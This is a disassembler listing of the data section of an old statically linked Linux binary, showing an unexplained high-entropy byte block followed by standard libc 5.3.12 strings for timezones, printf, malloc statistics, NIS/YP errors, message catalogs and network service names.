	  db 66h, 0A4h,	2Dh, 98h, 0A7h,	4Ch, 0EAh, 0CBh, 7Bh, 0Ch, 11h
	  db 9Eh, 8Ah, 6Bh, 0C5h, 79h, 47h, 0A0h, 0C5h,	5Fh, 2Eh, 0Eh
	  db 0D8h, 84h,	44h, 0F4h, 0A9h, 1Ah, 3Ch, 20h,	0Fh, 73h, 0ABh
	  db 0B1h, 57h,	6Ah, 0A6h, 0F7h, 52h, 0D7h, 62h, 0DCh, 0A7h, 87h
	  db 0FFh, 2 dup(45h), 94h, 60h, 4, 66h, 40h, 2Fh, 0A4h, 0C1h
	  db 77h, 5Dh, 37h, 0ACh, 0C9h,	0EFh, 0D7h, 66h, 0E8h, 0F0h, 95h
	  db 46h, 74h, 85h, 8Ch, 42h, 81h, 96h,	6Bh, 0FCh, 0A1h, 7Bh, 7Ch
	  db 91h, 0D7h,	19h, 3Ch, 0F0h,	7Bh, 41h, 0EBh,	33h, 5Bh, 91h
	  db 0F7h, 15h,	57h, 5Fh, 0AEh,	6Ch, 8Fh, 0FDh,	8, 7, 0DBh, 8Eh
	  db 0ACh, 25h,	0B1h, 0B7h, 0E6h, 5Ch, 78h, 5Bh, 81h, 0C6h, 56h
	  db 0DBh, 0EAh, 46h, 6Fh, 0EEh, 0BEh, 0EEh, 4Eh, 0D8h,	55h, 53h
	  db 19h, 3Ch, 0DEh, 44h, 0A2h,	0C0h, 89h, 73h,	9Dh, 0BDh, 1Ah
	  db 76h, 53h, 19h, 0D0h, 99h, 0CFh, 4Bh, 0C2h,	9Eh, 0DEh, 39h
	  db 0CEh, 76h,	0Dh, 81h, 0B1h,	0BEh, 70h, 0EEh, 0ECh, 55h, 2Eh
	  db 79h, 60h, 0F8h, 0D5h, 4Bh,	9Dh, 6Dh, 0F5h,	0FBh, 86h, 88h
	  db 0FBh, 83h,	5Ah, 0EFh, 13h,	0C5h, 43h, 8Fh,	40h, 0A4h, 89h
	  db 33h, 3Fh, 43h, 79h, 0D3h, 0FAh, 5Ch, 0F4h,	0CCh, 58h, 46h
	  db 0F8h, 2Dh,	0F8h, 3Eh, 7Fh,	5Ch, 41h, 18h, 0E8h, 15h, 29h
	  db 0F4h, 5Ch,	3Dh, 8Bh, 27h, 5Fh, 44h, 6Ah, 7Ah, 0B5h, 0DBh
	  db 0F8h, 70h,	0, 8Fh,	0CAh, 0ECh, 3, 0D8h, 8Ah, 34h, 7Ch, 0E8h
	  db 0B2h, 45h,	92h, 8Fh, 3, 6Ch, 8Ah, 0DDh, 0BEh, 0E0h, 0DEh
	  db 0C9h, 0C7h, 56h, 7Dh, 0ACh, 0Eh, 14h, 0FAh, 0D3h, 2Ah, 40h
	  db 8,	0DEh, 0E0h, 7Ch, 67h, 75h, 0F7h, 0D5h, 0Ah, 0BDh, 0F1h
	  db 1Eh, 22h, 0BEh, 92h, 0B9h,	1Fh, 0FAh, 87h,	0A4h, 4, 9Dh, 0CEh
	  db 0A9h, 6Fh,	0C3h, 0D2h, 24h, 70h, 6Fh, 3Fh,	62h, 0AFh, 28h
	  db 0B0h, 0EEh, 55h, 78h, 90h,	0D6h, 49h, 3Eh,	0D8h, 0DCh, 0C5h
	  db 0FAh, 4Eh,	0ABh, 1Ah, 15h,	0E7h, 6Bh, 8Ch,	0CDh, 77h, 7Dh
	  db 3Bh, 75h, 0Ah, 0B4h, 8, 0F9h, 0Ah,	23h, 36h, 98h, 8Ch, 27h
	  db 30h, 0Fh, 0E5h, 71h, 27h, 22h, 94h, 0D6h, 0E2h, 8,	1Dh, 0E6h
	  db 28h, 0E9h,	0F7h, 0A6h, 5Ch, 0EEh, 0F2h, 3Ch, 0B9h,	61h, 1Bh
	  db 2Bh, 96h, 0EBh, 11h, 1Ch, 0B2h, 48h, 96h, 0A1h, 0CBh, 2Bh
	  db 0CEh, 54h,	71h, 0F7h, 34h,	30h, 2 dup(0BEh), 7Bh, 19h, 0A3h
	  db 26h, 0E5h,	0ACh, 29h, 0E3h, 8Ch, 0D2h, 74h, 4Ah, 0DEh, 0D5h
	  db 53h, 0DCh,	0B5h, 0B3h, 0E8h, 9, 209h dup(0), 1, 0C0h, 67h
	  db 2Ah, 8Dh, 4Eh, 72h, 0D4h, 0E7h, 7Ah, 0FEh,	8Eh, 90h, 1Eh
	  db 9Ah, 0F8h,	17h, 41h, 8, 0EFh, 54h,	51h, 0E0h, 54h,	51h, 0BBh
	  db 0B1h, 13h,	29h, 0E8h, 6Bh,	50h, 72h, 0B1h,	29h, 0FBh, 4Eh
	  db 57h, 99h, 0E5h, 46h, 61h, 0DAh, 0F0h, 0D3h, 0Eh, 6Ch, 80h
	  db 0BEh, 0E5h, 6Ah, 0B8h, 93h, 5Eh, 15h, 45h,	0C2h, 1Ch, 59h
	  db 0C0h, 34h,	7Ch, 1Eh, 7Eh, 0DAh, 23h, 48h, 7Ch, 0CEh, 4Ch
	  db 1Fh, 1Dh, 0E8h, 0A1h, 8Bh,	9Bh, 75h, 0DFh,	0BFh, 0D6h, 10h
	  db 0BEh, 41h,	0E3h, 78h, 0AEh, 0DFh, 0C2h, 0B2h, 67h,	6Bh, 1
	  db 1Ah, 7Fh, 23h, 0Fh, 0CDh, 0ABh, 0BEh, 3Dh,	74h, 25h, 6Ah
	  db 0AFh, 0D7h, 0E6h, 0B3h, 0CAh, 80h,	0Eh, 2Eh, 14h, 27h, 91h
	  db 95h, 61h, 11h, 48h, 23h, 2Ch, 1, 97h, 0, 87h, 82h,	0F9h, 4Bh
	  db 0CBh, 84h,	9Ch, 16h, 0F8h,	8Ch, 2Fh, 5, 88h, 0D4h,	0E6h, 0DDh
	  db 68h, 61h, 17h, 13h, 0BCh, 5, 9, 0Bh, 0FFh,	41h, 9Ch, 0ABh
	  db 54h, 24h, 0B2h, 13h, 76h, 4Eh, 30h, 1Ch, 1Ah, 7Bh,	16h, 0FEh
	  db 3Bh, 47h, 2Dh, 1Ch, 44h, 9Ch, 0EAh, 6Ch, 4Fh, 81h,	61h, 0F0h
	  db 78h, 0B8h,	9Fh, 65h, 0EBh,	41h, 0AEh, 0C7h, 30h, 0Eh, 0Dh
	  db 7Eh, 94h, 0D7h, 0CAh, 0EBh, 0A1h, 56h, 95h, 7Dh, 0D9h, 4Dh
	  db 50h, 30h, 21h, 0CBh, 9, 83h, 1Ah, 7, 0D5h,	0ACh, 0F2h, 2Ah
	  db 0C7h, 8Eh,	3Fh, 3Ah, 37h, 82h, 0FDh, 0BCh,	42h, 0A8h, 95h
	  db 32h, 4Dh, 0Fh, 28h, 0C0h, 8Ah, 61h, 0F3h, 4, 4Fh, 1Ah, 81h
	  db 0B4h, 0A5h, 0C3h, 6Dh, 1Bh, 7Ah, 96h, 0D3h, 98h, 0C8h, 0B8h
	  db 15h, 8Fh, 38h, 0FEh, 0DCh,	0A0h, 0B2h, 4Eh, 45h, 9, 0B9h
	  db 38h, 87h, 96h, 0E9h, 0C4h,	10h, 11h, 0CCh,	0D9h, 2Bh, 0Ch
	  db 0CDh, 97h,	32h, 30h, 0ECh,	5Fh, 65h, 0B1h,	25h, 7,	0AEh, 0E8h
	  db 0Eh, 9, 0F4h, 0EEh, 19h, 7Dh, 3, 0EDh, 6Fh, 8Ch, 39h, 6Bh
	  db 0F2h, 9Ah,	3Bh, 50h, 0A4h,	94h, 0C9h, 43h,	17h, 34h, 0B5h
	  db 0B2h, 97h,	0A6h, 75h, 0C1h, 0B9h, 50h, 0ACh, 92h, 5Bh, 0CBh
	  db 3Ch, 5, 62h, 0E0h,	0FFh, 61h, 97h,	32h, 0A8h, 42h,	52h, 0EAh
	  db 0DFh, 0DBh, 0CAh, 83h, 0EBh, 0F7h,	0ADh, 9Dh, 0E7h, 69h, 0EEh
	  db 20h, 3Ch, 17h, 68h, 0Ah, 1Eh, 7Ah,	0B9h, 21h, 70h,	0FAh, 74h
	  db 30h, 74h, 76h, 0A7h, 6Ch, 17h, 0F6h, 8Ah, 0FBh, 77h, 0EBh
	  db 9Bh, 0A1h,	0ECh, 0DEh, 0F1h, 0BAh,	92h, 12h, 0B7h,	63h, 0AFh
	  db 8Bh, 0C8h,	35h, 0DEh, 8Ch,	8Fh, 0EBh, 0A4h, 0E9h, 0D5h, 37h
	  db 0E1h, 0A0h, 64h, 0B4h, 40h, 0E8h, 0CDh, 0D1h, 87h,	0BDh, 3Bh
	  db 92h, 42h, 0FFh, 62h, 8Fh, 0CDh, 0F3h, 90h,	26h, 2Eh, 16h
	  db 0DCh, 5Eh,	9, 1Bh,	9Fh, 0C8h, 59h,	5Dh, 0FDh, 0A8h, 1Fh, 3Dh
	  db 75h, 38h, 51h, 29h, 2Bh, 0Ah, 39h,	18h, 2Fh, 15h, 80h, 25h
	  db 0D9h, 0D8h, 2Dh, 3Eh, 0D8h, 84h, 0F9h, 74h, 2Eh, 87h, 7Ah
	  db 0AFh, 1Fh,	9Eh, 0C1h, 2Dh,	54h, 4Dh, 0EDh,	0D0h, 0B5h, 0F9h
	  db 0ECh, 75h,	0EAh, 62h, 94h,	0DFh, 0Ah, 3Ch,	0C5h, 34h, 0A1h
	  db 0AEh, 0Ch,	39h, 0D4h, 0A2h, 37h, 8Ah, 2Eh,	0FAh, 0C8h, 7Eh
	  db 32h, 81h, 21h, 27h, 0B8h, 7Bh, 6Eh, 20h, 8, 24h, 2Dh, 0E0h
	  db 10h, 0BEh,	50h, 0B8h, 0D4h, 93h, 58h, 0B9h, 2Bh, 31h, 0ABh
	  db 22h, 23h, 2Bh, 1Fh, 25h, 3Fh, 0Bh,	44h, 0DEh, 7Eh,	62h, 0BFh
	  db 89h, 0C7h,	0DAh, 72h, 95h,	0B8h, 8, 0B6h, 2Ah, 7Eh, 2 dup(78h)
	  db 0F0h, 0B3h, 0DEh, 86h, 0ABh, 7Ah, 0EEh, 6Fh, 0F4h,	73h, 93h
	  db 0BBh, 7Bh,	0F5h, 0ECh, 27h, 7Eh, 0B5h, 0D8h, 0F7h,	9Fh, 6Ah
	  db 0A2h, 0FCh, 0D2h, 0E8h, 4,	3Dh, 0CBh, 13h,	0DFh, 0C9h, 6Ah
	  db 82h, 72h, 31h, 7Ch, 8Dh, 9Eh, 0CDh, 0E0h, 0D8h, 0FCh, 0A8h
	  db 97h, 94h, 0C3h, 0B2h, 0D9h, 41h, 76h, 30h,	0C1h, 39h, 0C9h
	  db 1Ch, 0CFh,	0C4h, 8, 26h, 0BFh, 0C7h, 0D1h,	0B6h, 7Eh, 6Ah
	  db 32h, 3Dh, 0E6h, 19h, 0AFh,	0EEh, 5Fh, 0E2h, 13h, 8Eh, 2Bh
	  db 30h, 63h, 0EEh, 97h, 6Dh, 0FEh, 2Dh, 58h, 1Dh, 97h, 25h, 0C4h
	  db 3Ch, 1Dh, 0E4h, 7Ch, 62h, 80h, 0Ah, 9Ah, 0B5h, 8Dh, 0ABh
	  db 0C8h, 37h,	0EAh, 9Eh, 77h,	0FBh, 0Ah, 0E9h, 0CFh, 19h, 0CAh
	  db 90h, 2Ch, 35h, 0E3h, 9Eh, 50h, 0C8h, 13h, 36h, 82h, 0D6h
	  db 78h, 0FEh,	50h, 6Eh, 8Fh, 78h, 4, 9, 6, 5Bh, 0A4h,	0D1h, 1Bh
	  db 0B7h, 34h,	0B5h, 0ECh, 3Fh, 0Ch, 45h, 2Ch,	0B3h, 57h, 38h
	  db 0C3h, 20h,	0DAh, 0CFh, 0E9h, 0A6h,	0CEh, 0F4h, 39h, 2, 87h
	  db 71h, 49h, 48h, 95h, 0DBh, 9Ah, 0A1h, 8Ah, 0EDh, 92h, 0B4h
	  db 0A8h, 0A6h, 0ACh, 95h, 0D9h, 6Ch, 0CDh, 4Dh, 50h, 23h, 1Bh
	  db 0CFh, 2Ah,	0B1h, 0E8h, 0FBh, 8Ch, 77h, 67h, 1Ah, 0CCh, 3Ah
	  db 0EBh, 38h,	83h, 0A3h, 2Dh,	0C3h, 0B1h, 6Ah, 12h, 0FBh, 0A8h
	  db 40h, 3Fh, 0A0h, 46h, 0F5h,	5Bh, 0EDh, 24h,	47h, 0CEh, 0E9h
	  db 0FDh, 74h,	4Ah, 4Ch, 0D8h,	30h, 0A1h, 73h,	2Dh, 0Eh, 96h
	  db 0D9h, 0C1h, 0D6h, 0EBh, 0A2h, 0EBh, 6Fh, 0ABh, 94h, 7Ch, 3Bh
	  db 23h, 6Fh, 80h, 60h, 12h, 49h, 73h,	9Ah, 7Bh, 8Eh, 91h, 90h
	  db 8Ch, 4Bh, 99h, 0F9h, 98h, 0D2h, 0B5h, 36h,	0E8h, 35h, 0FFh
	  db 0DEh, 6Dh,	0A9h, 31h, 9Bh,	11h, 96h, 0BCh,	0D9h, 0Dh, 6Bh
	  db 8Dh, 3Fh, 0CCh, 0C6h, 0FBh, 66h, 25h, 28h,	0E7h, 82h, 0B8h
	  db 72h, 3Bh, 9Fh, 76h, 0D6h, 3Dh, 34h, 74h, 0A6h, 9Bh, 50h, 0FCh
	  db 0,	89h, 77h, 0BFh,	0DCh, 3Fh, 6Ah,	26h, 0D6h, 0FDh, 41h, 96h
	  db 0AEh, 1Bh,	54h, 89h, 4Eh, 7, 34h, 95h, 11h, 3, 0Dh, 40h, 53h
	  db 5Ah, 0D7h,	0Dh, 8Eh, 45h, 33h, 0B5h, 0E5h,	0ADh, 19h, 8Fh
	  db 10h, 0BCh,	89h, 8Bh, 10h, 54h, 0C9h, 0A4h,	41h, 63h, 2Bh
	  db 3Bh, 0E0h,	7Fh, 3Dh, 7Bh, 43h, 8Eh, 0EDh, 0ACh, 97h, 70h
	  db 66h, 0D6h,	0CBh, 0C2h, 8, 55h, 2Ch, 69h, 0BCh, 0Eh, 65h, 0F0h
	  db 2Eh, 4Fh, 5Ch, 0BFh, 0F6h,	4Fh, 90h, 0DFh,	0A2h, 85h, 99h
	  db 9Eh, 0DDh,	0ADh, 9Fh, 39h,	0D2h, 0D8h, 5Eh, 32h, 2	dup(58h)
	  db 25h, 0B9h,	1Ch, 0E5h, 0E3h, 0D4h, 0F1h, 0F4h, 0Fh,	9Ah, 2Dh
	  db 0C0h, 56h,	4, 0F8h, 4Eh, 8Ch, 13h,	8Ah, 0A0h, 0C1h, 0C8h
	  db 1,	0FDh, 13h, 71h,	76h, 0D2h, 0E6h, 0F4h, 34h, 0C2h, 0A7h
	  db 0CCh, 76h,	1, 9Dh,	0F2h, 3Dh, 0D7h, 0D0h, 89h, 0FAh, 8Bh
	  db 4Dh, 0CDh,	10h, 4Fh, 54h, 0B2h, 0E0h, 17h,	2Bh, 7Dh, 5Ch
	  db 0Ah, 0B7h,	49h, 0FEh, 86h,	0FDh, 41h, 3Fh,	37h, 0DFh, 0BBh
	  db 95h, 44h, 21h, 0FDh, 57h, 0E8h, 84h, 0D5h,	13h, 0D3h, 0, 0BEh
	  db 0FCh, 96h,	4, 44h,	47h, 0BAh, 0A4h, 82h, 0C9h, 0CAh, 0E8h
	  db 6Eh, 9Eh, 0C2h, 0AEh, 38h,	70h, 0ECh, 87h,	19h, 0A5h, 0, 70h
	  db 3Bh, 33h, 0EEh, 0AEh, 2Ch,	0E4h, 66h, 0FFh, 25h, 6Bh, 0FDh
	  db 8Ah, 3Bh, 0F6h, 0B4h, 3, 0DCh, 91h, 79h, 0BDh, 0C7h, 0D9h
	  db 0B8h, 5Ah,	4Eh, 68h, 0D4h,	2Eh, 6Ch, 1Ah, 74h, 48h, 0Dh, 94h
	  db 6,	0AFh, 49h, 63h,	0DCh, 2Fh, 0CDh, 7Eh, 3Dh, 0B0h, 6Fh, 99h
	  db 74h, 0E9h,	0F9h, 67h, 78h,	0ACh, 21h, 87h,	0ECh, 52h, 4Ah
	  db 9Dh, 0DDh,	0BCh, 0, 2Dh, 0DDh, 8Eh, 6, 0DEh, 57h, 35h, 0F8h
	  db 59h, 0C7h,	41h, 0B9h, 0D4h, 56h, 39h, 0F2h, 9, 54h, 0A7h
	  db 0A1h, 0D8h, 3Ch, 12h, 0ABh, 0Fh, 10h, 0B6h, 0E2h, 21h, 7Bh
	  db 3Eh, 3Bh, 62h, 8Dh, 2Eh, 0A2h, 9Dh, 95h, 92h, 77h,	5Fh, 0A3h
	  db 0BCh, 0A5h, 3, 0Ch, 20h, 57h, 0B4h, 0FCh, 35h, 0E4h, 0C6h
	  db 0B6h, 1Bh,	28h, 0B9h, 4Eh,	0F7h, 54h, 0Bh,	5Dh, 3Dh, 21h
	  db 1Dh, 0CCh,	87h, 6Fh, 4, 64h, 49h, 40h, 42h, 0AEh, 18h, 75h
	  db 0B2h, 68h,	0D8h, 96h, 0B4h, 0D2h, 8Bh, 0F4h, 63h, 55h, 1Ch
	  db 0F5h, 0D8h, 34h, 0C2h, 70h, 0E9h, 68h, 0F8h, 0FFh,	1Fh, 15h
	  db 0F9h, 0A2h, 0E4h, 7Bh, 0AEh, 0EEh,	33h, 11h, 27h, 22h, 0D9h
	  db 0Fh, 0BBh,	32h, 49h, 2 dup(25h), 0C0h, 9Fh, 0Ah, 0A6h, 64h
	  db 0CDh, 4Bh,	10h, 45h, 1, 29h, 30h, 62h, 3 dup(0)
off_8068DAC dd offset unk_8067FDC	; DATA XREF: ___printf_fp+7D2o
	  db 3,	3 dup(0), 4, 7 dup(0)
off_8068DBC dd offset unk_8067FE8	; DATA XREF: ___printf_fp+FC9o
	  db 3,	3 dup(0), 7, 3 dup(0), 4, 3 dup(0), 0F4h, 7Fh, 6, 8, 3
	  db 3 dup(0), 0Eh, 3 dup(0), 0Ah, 4 dup(0), 80h, 6, 8,	3, 3 dup(0)
	  db 1Bh, 3 dup(0), 18h, 3 dup(0), 0Ch,	80h, 6,	8, 4, 3	dup(0)
	  db 36h, 3 dup(0), 32h, 3 dup(0), 1Ch,	80h, 6,	8, 6, 3	dup(0)
	  db 6Bh, 3 dup(0), 67h, 3 dup(0), 34h,	80h, 6,	8, 9, 3	dup(0)
	  db 0D5h, 3 dup(0), 0D2h, 3 dup(0), 58h, 80h, 6, 8, 10h, 3 dup(0)
	  db 0AAh, 1, 2	dup(0),	0A6h, 1, 2 dup(0), 98h,	80h, 6,	8, 1Dh
	  db 3 dup(0), 53h, 3, 2 dup(0), 50h, 3, 2 dup(0), 0Ch,	81h, 6
	  db 8,	38h, 3 dup(0), 0A5h, 6,	2 dup(0), 0A2h,	6, 2 dup(0), 0ECh
	  db 81h, 6, 8,	6Dh, 3 dup(0), 4Ah, 0Dh, 2 dup(0), 47h,	0Dh, 2 dup(0)
	  db 0A0h, 83h,	6, 8, 0D7h, 3 dup(0), 94h, 1Ah,	2 dup(0), 90h
	  db 1Ah, 2 dup(0), 0FCh, 86h, 6, 8, 0ACh, 1, 2	dup(0),	27h, 35h
	  db 2 dup(0), 24h, 35h, 2 dup(0)
a@TheLinuxCLibr	db '@(#) The Linux C library 5.3.12',0 ; DATA XREF: ___printf_fp+403o
					; ___printf_fp+C14o ...
					; LIBC version
	  dd offset a@TheLinuxCLibr	; LIBC version
; char byte_8068EA0
byte_8068EA0 db	'G'                     ; DATA XREF: sub_805AF2C+8o
					; sub_805AF2C+1Co ...
	  db  4Dh ; M
	  db  54h ; T
	  db	0 ;  
unk_8068EA4 db	20h ;			; DATA XREF: sub_805A11C+6o
					; sub_805A11C+10o
	  db  20h ;  
	  db  20h ;  
	  db	0 ;  
aLocaltime db 'localtime',0             ; DATA XREF: sub_805A254+12o
aUsrLibZoneinfo	db '/usr/lib/zoneinfo',0 ; DATA XREF: sub_805A254+37o
; char asc_8068EC4
asc_8068EC4 db '/',0                    ; DATA XREF: sub_805A254+7Fo
					; sub_805A7E4+29Er
	  db  8Dh ; Ќ
	  db  36h ; 6
unk_8068EC8 db	1Fh ;			; DATA XREF: sub_805A7E4+100r
					; sub_805A7E4+121r ...
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
unk_8068ECC db	1Ch ;			; DATA XREF: sub_805A7E4+179r
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
unk_8068ED0 db	1Fh ;			; DATA XREF: sub_805A7E4+192r
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
unk_8068ED4 db	1Eh ;			; DATA XREF: sub_805A7E4+1ABr
	  db 3 dup(0), 1Fh, 3 dup(0), 1Eh, 3 dup(0), 1Fh, 3 dup(0), 1Fh
	  db 3 dup(0), 1Eh, 3 dup(0), 1Fh, 3 dup(0), 1Eh, 3 dup(0), 1Fh
	  db 3 dup(0), 1Fh, 3 dup(0), 1Dh, 3 dup(0), 1Fh, 3 dup(0), 1Eh
	  db 3 dup(0), 1Fh, 3 dup(0), 1Eh, 3 dup(0), 1Fh, 3 dup(0), 1Fh
	  db 3 dup(0), 1Eh, 3 dup(0), 1Fh, 3 dup(0), 1Eh, 3 dup(0), 1Fh
	  db 3 dup(0)
dword_8068F28 dd 16Dh			; DATA XREF: sub_805AAC0+242r
					; sub_805B1C4+25Fr ...
	  db  6Eh ; n
	  db	1 ;  
	  db	0 ;  
	  db	0 ;  
aPosixrules db 'posixrules',0           ; DATA XREF: sub_805AAC0+76o
aTz	  db 'TZ',0                     ; DATA XREF: _tzset+4o
unk_8068F3E db	53h ; S			; DATA XREF: _asctime_r+34o
	  db  75h ; u
	  db  6Eh ; n
	  db  4Dh ; M
	  db  6Fh ; o
	  db  6Eh ; n
	  db  54h ; T
	  db  75h ; u
	  db  65h ; e
	  db  57h ; W
	  db  65h ; e
	  db  64h ; d
	  db  54h ; T
	  db  68h ; h
	  db  75h ; u
	  db  46h ; F
	  db  72h ; r
	  db  69h ; i
	  db  53h ; S
	  db  61h ; a
	  db  74h ; t
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec%.3s %.3s%3d %02.2d:%02.'
					; DATA XREF: _asctime_r+28o
	  db '2d:%02.2d %d',0Ah,0
aMaxSystemBytes	db 'max system bytes = %10u',0Ah,0 ; DATA XREF: _malloc_stats+Eo
aSystemBytes10u	db 'system bytes     = %10u',0Ah,0 ; DATA XREF: _malloc_stats+29o
aInUseBytes10u db 'in use bytes     = %10u',0Ah,0 ; DATA XREF: _malloc_stats+44o
aMaxMmapRegions	db 'max mmap regions = %10u',0Ah,0 ; DATA XREF: _malloc_stats+5Co
	  align	4
aYplib_cV2_6199	db 'yplib.c,v 2.6 1994/05/27 14:34:43 swen Exp',0
					; DATA XREF: .data:08078F90o
	  db  90h ; ђ
dword_8069030 dd 0Ah			; DATA XREF: ___yp_dobind+256r
					; ___yp_dobind+393r ...
dword_8069034 dd 5			; DATA XREF: _yp_match+18Cr
					; _yp_first+104r ...
dword_8069038 dd 5			; DATA XREF: sub_805CCB0+12Ar
aVarYpBinding db '/var/yp/binding',0    ; DATA XREF: ___yp_dobind+125o
aSS_D	  db '%s/%s.%d',0               ; DATA XREF: ___yp_dobind+12Ao
aYpbindproc_dom	db 'YPBINDPROC_DOMAIN: Internal error',0Ah,0 ; DATA XREF: ___yp_dobind+2ECo
aYpbindproc_d_0	db 'YPBINDPROC_DOMAIN: No bound server for domain %s',0Ah,0
					; DATA XREF: ___yp_dobind+2F8o
aYpbindproc_d_1	db 'YPBINDPROC_DOMAIN: Resource allocation failure',0Ah,0
					; DATA XREF: ___yp_dobind+30Co
aYpbindproc_d_2	db 'YPBINDPROC_DOMAIN: Unknown error',0Ah,0 ; DATA XREF: ___yp_dobind+314o
aFcntlF_setfd db 'fcntl: F_SETFD',0     ; DATA XREF: ___yp_dobind+434o
aYp_matchClnt_c	db 'yp_match: clnt_call',0 ; DATA XREF: _yp_match+15Co
aYp_firstClnt_c	db 'yp_first: clnt_call',0 ; DATA XREF: _yp_first+D4o
aYp_nextClnt_ca	db 'yp_next: clnt_call',0 ; DATA XREF: _yp_next+F4o
aClnttcp_create	db 'clnttcp_create failed',0Ah,0 ; DATA XREF: _yp_all+B1o
aYp_orderClnt_c	db 'yp_order: clnt_call',0 ; DATA XREF: _yp_order+D0o
aYp_masterClnt_	db 'yp_master: clnt_call',0 ; DATA XREF: _yp_master+AAo
aYp_maplistClnt	db 'yp_maplist: clnt_call',0 ; DATA XREF: _yp_maplist+A8o
aSuccess  db 'Success',0                ; DATA XREF: _yperr_string+5Co
aRequestArgumen	db 'Request arguments bad',0 ; DATA XREF: _yperr_string+68o
aRpcFailure db 'RPC failure',0          ; DATA XREF: _yperr_string+74o
aCanTBindToServ	db 'Can',27h,'t bind to server which serves this domain',0
					; DATA XREF: _yperr_string+80o
aNoSuchMapInSer	db 'No such map in server',27h,'s domain',0 ; DATA XREF: _yperr_string+8Co
aNoSuchKeyInMap	db 'No such key in map',0 ; DATA XREF: _yperr_string+98o
aYpServerError db 'YP server error',0   ; DATA XREF: _yperr_string+A4o
aLocalResourceA	db 'Local resource allocation failure',0 ; DATA XREF: _yperr_string+B0o
aNoMoreRecordsI	db 'No more records in map database',0 ; DATA XREF: _yperr_string+BCo
aCanTCommunicat	db 'Can',27h,'t communicate with portmapper',0
					; DATA XREF: _yperr_string+C8o
aCanTCommunic_0	db 'Can',27h,'t communicate with ypbind',0 ; DATA XREF: _yperr_string+D4o
aCanTCommunic_1	db 'Can',27h,'t communicate with ypserv',0 ; DATA XREF: _yperr_string+E0o
aLocalDomainNam	db 'Local domain name not set',0 ; DATA XREF: _yperr_string+ECo
aServerDataBase	db 'Server data base is bad',0 ; DATA XREF: _yperr_string+F8o
aYpServerVersio	db 'YP server version mismatch - server can',27h,'t supply servi'
					; DATA XREF: _yperr_string+104o
	  db 'ce.',0
aAccessViolatio	db 'Access violation',0 ; DATA XREF: _yperr_string+110o
aDatabaseIsBusy	db 'Database is busy',0 ; DATA XREF: _yperr_string+11Co
aYpUnknownError	db 'YP unknown error %d',0Ah,0 ; DATA XREF: _yperr_string+129o
aNone	  db '(none)',0                 ; DATA XREF: ___yp_check+2Ao
aC_1	  db 'C',0                      ; DATA XREF: _catopen+7Eo
aNlspath  db 'NLSPATH',0                ; DATA XREF: _catopen+88o
aEtcLocaleLN_ca	db '/etc/locale/%L/%N.cat:/usr/lib/locale/%L/%N.cat:/usr/lib/loc'
					; DATA XREF: _catopen+9Bo
	  db 'ale/%N/%L:/usr/share/locale/%L/%N.cat:/usr/local/share/local'
	  db 'e/%L/%N.cat',0
; char asc_806940E
asc_806940E db ':',0                    ; DATA XREF: _catopen+129o
aNazgul	  db '*nazgul*',0               ; DATA XREF: sub_805E640+98o
					; //? signature	from the author	of the gencat utility
aMessageCatalog	db 'Message Catalog System',0 ; DATA XREF: sub_805E640+C1o
					; sub_805E640+EAo ...
aSCorruptFile_ db '%s: corrupt file.',0Ah,0 ; DATA XREF: sub_805E640+1BDo
aSSIsVersionDWe	db '%s: %s is version %d, we need %d.',0Ah,0 ; DATA XREF: sub_805E640+C6o
aSSHasDSets db '%s: %s has %d sets!',0Ah,0 ; DATA XREF: sub_805E640+EFo
aSNoMoreMemory_	db '%s: no more memory.',0Ah,0 ; DATA XREF: sub_805E640+134o
; char locale
locale	  db 0				; DATA XREF: _libc_nls_init+Co
aLibc	  db 'libc',0                   ; DATA XREF: _libc_nls_init+1Ao
aD_D_D_D_0 db '%d.%d.%d.%d',0           ; DATA XREF: _inet_ntoa+17o
aRje	  db 'rje',0                    ; DATA XREF: sub_805E9B8+2B4o
aEcho	  db 'echo',0                   ; DATA XREF: sub_805E9B8+2C0o
aDiscard  db 'discard',0                ; DATA XREF: sub_805E9B8+2CCo
aSystat	  db 'systat',0                 ; DATA XREF: sub_805E9B8+2D8o
aDaytime  db 'daytime',0                ; DATA XREF: sub_805E9B8+2E4o
aNetstat  db 'netstat',0                ; DATA XREF: sub_805E9B8+2F0o
aQotd	  db 'qotd',0                   ; DATA XREF: sub_805E9B8+2FCo
aChargen  db 'chargen',0                ; DATA XREF: sub_805E9B8+308o
aFtpData  db 'ftp-data',0               ; DATA XREF: sub_805E9B8+314o
aFtp	  db 'ftp',0                    ; DATA XREF: sub_805E9B8+320o
aTelnet	  db 'telnet',0                 ; DATA XREF: sub_805E9B8+32Co
aSmtp	  db 'smtp',0                   ; DATA XREF: sub_805E9B8+338o
aTime	  db 'time',0                   ; DATA XREF: sub_805E9B8+344o
aRlp	  db 'rlp',0                    ; DATA XREF: sub_805E9B8+350o
aName	  db 'name',0                   ; DATA XREF: sub_805E9B8+35Co
aWhois	  db 'whois',0                  ; DATA XREF: sub_805E9B8+368o
aDomain_0 db 'domain',0                 ; DATA XREF: sub_805E9B8+374o
aApts	  db 'apts',0                   ; DATA XREF: sub_805E9B8+380o
aApfs	  db 'apfs',0                   ; DATA XREF: sub_805E9B8+38Co
aBootps	  db 'bootps',0                 ; DATA XREF: sub_805E9B8+398o
aBootpc	  db 'bootpc',0                 ; DATA XREF: sub_805E9B8+3A4o
aTftp	  db 'tftp',0                   ; DATA XREF: sub_805E9B8+3B0o
aFinger	  db 'finger',0                 ; DATA XREF: sub_805E9B8+3BCo
aLink	  db 'link',0                   ; DATA XREF: sub_805E9B8+3C8o
aSupdup	  db 'supdup',0                 ; DATA XREF: sub_805E9B8+3D4o
aNewacct  db 'newacct',0                ; DATA XREF: sub_805E9B8+3E0o
aHostnames db 'hostnames',0             ; DATA XREF: sub_805E9B8+3ECo
aIsoTsap  db 'iso-tsap',0               ; DATA XREF: sub_805E9B8+3F8o
aX400	  db 'x400',0                   ; DATA XREF: sub_805E9B8+404o
aX400Snd  db 'x400-snd',0               ; DATA XREF: sub_805E9B8+410o
aCsnetNs  db 'csnet-ns',0               ; DATA XREF: sub_805E9B8+41Co
aPop2	  db 'pop-2',0                  ; DATA XREF: sub_805E9B8+428o
aSunrpc	  db 'sunrpc',0                 ; DATA XREF: sub_805E9B8+434o
aAuth	  db 'auth',0                   ; DATA XREF: sub_805E9B8+440o
aSftp	  db 'sftp',0                   ; DATA XREF: sub_805E9B8+44Co
